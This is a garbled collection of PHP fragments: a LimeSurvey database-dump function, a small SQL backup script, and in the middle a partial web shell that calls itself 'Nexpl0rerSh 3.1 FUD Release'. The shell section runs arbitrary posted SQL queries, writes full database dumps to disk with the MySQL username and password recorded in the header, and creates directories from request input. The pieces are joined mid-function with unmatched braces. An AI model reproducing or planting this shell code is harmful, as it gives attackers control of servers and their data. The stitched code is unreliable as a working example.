/**
* Creates a full dump of the current LimeSurvey database
*
* @returns string Contains the dumped data
*/
function completedump()
{
global $connect, $databasename, $dbprefix, $allowexportalldb;
$tables = $connect->MetaTables();
$export = "#------------------------------------------" . "\n";
$export .= "# LimeSurvey Database Dump of `{$databasename}`" . "\n";
if ($allowexportalldb == 0) {
$export .= "# Only prefixed tables with: " . $dbprefix . "\n";
}
$export .= "# Date of Dump: " . date("d-M-Y") . "\n";
$export .= "#------------------------------------------" . "\n\n\n";
foreach ($tables as $table) {
if ($allowexportalldb == 0) {
if ($dbprefix == substr($table, 0, strlen($dbprefix))) {
$export .= defdump($table);
$export .= datadump($table);
}
} else {
$export .= defdump($table);
$export .= datadump($table);
}
}
return $export;
}
$output = "Executed query: {$query} <br /><br />";
mysql_query($query) or die("QUERY: " . $query . "<br /><br /> ERROR:" . mysql_error());
}
// MySQL Dump
if ($_POST['mode'] == "dump_db") {
$dump = "# Dumped by Nexpl0rerSh 3.1 FUD Release \n";
$dump .= "# MySQL version: (" . @mysql_get_server_info() . ") running on " . getenv("SERVER_ADDR") . " (" . getenv("SERVER_NAME") . ") \n";
$dump .= "# Database: " . $_POST['dbname'] . "\n";
$dump .= "# " . $_COOKIE['mysql_user'] . ":" . $_COOKIE['mysql_pass'] . "@" . $_COOKIE['mysql_host'] . "\n";
$db = $_POST['dbname'];
setcookie('mysql_name', $db);
$link = mysql_connect($_COOKIE['mysql_host'], $_COOKIE['mysql_user'], $_COOKIE['mysql_pass']) or die(mysql_error());
isset($_POST['dbname']) ? mysql_select_db($_POST['dbname']) : (print "");
$q = mysql_query("SHOW TABLES") or die(mysql_error());
while ($table = mysql_fetch_array($q)) {
$dump .= datadump($table[0]);
}
$file_name = $db . "_dump_" . date("d_M_Y") . "_Nexpl0rer." . sql;
chdir($dir);
$fp = fopen($file_name, "w+");
fwrite($fp, $dump);
fclose($fp);
$output .= 'Dump saved in ' . $dir;
}
// MkDir
if ($_POST['mode'] == "mkdir") {
chdir($dir) or die("Error.");
if (mkdir($_POST['mkdir'])) {
$output = "Directory created.";
}
}
<?php
include("../incs/database_backup_function.inc.php");
$content = datadump ("content");
$backup_content = $content;
$file_name = 'backup_' . date("d-m-Y-H-i-s") . '.sql';
//Header("Content-type: application/octet-stream");
//Header("Content-Disposition: attachment; filename=$file_name");
echo $backup_content;
exit;
?>
